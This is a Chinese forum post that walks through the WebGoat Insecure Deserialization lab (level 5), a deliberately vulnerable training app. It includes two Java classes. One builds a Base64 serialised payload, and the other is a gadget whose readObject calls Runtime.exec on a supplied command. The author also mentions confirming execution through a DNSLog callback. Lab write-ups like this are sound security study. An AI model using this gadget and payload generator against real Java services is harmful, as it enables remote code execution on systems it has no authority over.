代码审计(Java)——WebGoat_InsecureDeserialization

打印 上一主题 下一主题

主题 575|帖子 575|积分 1725

level-5


  找到java文件,可以看到传入的token经过64解码后输入导对象输入流中,然后没有加限制直接readObject进行了反序列化操作,确实存在漏洞点~
  1. package org.owasp.webgoat.plugin;
  2. import java.io.*;
  3. import java.util.Base64;
  4. public class ExploitDeserialize {
  5.     public static void main(String[] args) throws IOException{
  6.         GadgetObject goGadgetObject = new GadgetObject();
  7.         goGadgetObject.setCmd("sleep(6)");
  8.         ByteArrayOutputStream boStream = new ByteArrayOutputStream();
  9.         ObjectOutputStream ooStream = new ObjectOutputStream(boStream);
  10.         ooStream.writeObject(goGadgetObject);
  11.         ooStream.flush();
  12.         byte[] exp = boStream.toByteArray();
  13.         String b64token = Base64.getEncoder().encodeToString(exp);
  14.         System.out.println(b64token);
  15.     }
  16. }
复制代码
  1. package org.owasp.webgoat.plugin;
  2. import java.io.ObjectInputStream;
  3. import java.io.Serializable;
  4. public class GadgetObject implements Serializable {
  5.     private String cmd;
  6.     public void setCmd(String cmd) {
  7.         this.cmd = cmd;
  8.     }
  9.     private void readObject( ObjectInputStream stream ) throws Exception {
  10.         stream.defaultReadObject();
  11.         try{
  12.             Runtime r = Runtime.getRuntime();
  13.             Process p = r.exec(cmd);
  14.         }catch (Exception e) {
  15.             e.printStackTrace();
  16.         }
  17.     }
  18. }
复制代码

  这里构造两个java文件,用来生成可以用的payload(因为反序列化这个东西,不同语言差别还是挺大的,就只能用残缺的java知识搞一个这个了……还是太菜了,java急需深造啊)

  生成payload,让服务器等待5秒~

  很奇怪的是没用行得通,很奇怪是那里搞错了,有可能是我写的java类有问题???我回头再去看一下……


  这里开一个DNSLog来验证一下吧,不信这个邪~

  果然,这里是可以访问到的,大概写的java也没有问题,但那是哪里出问题了嘞???真搞不懂,再研究研究,java水太深了……
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

笑看天下无敌手

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表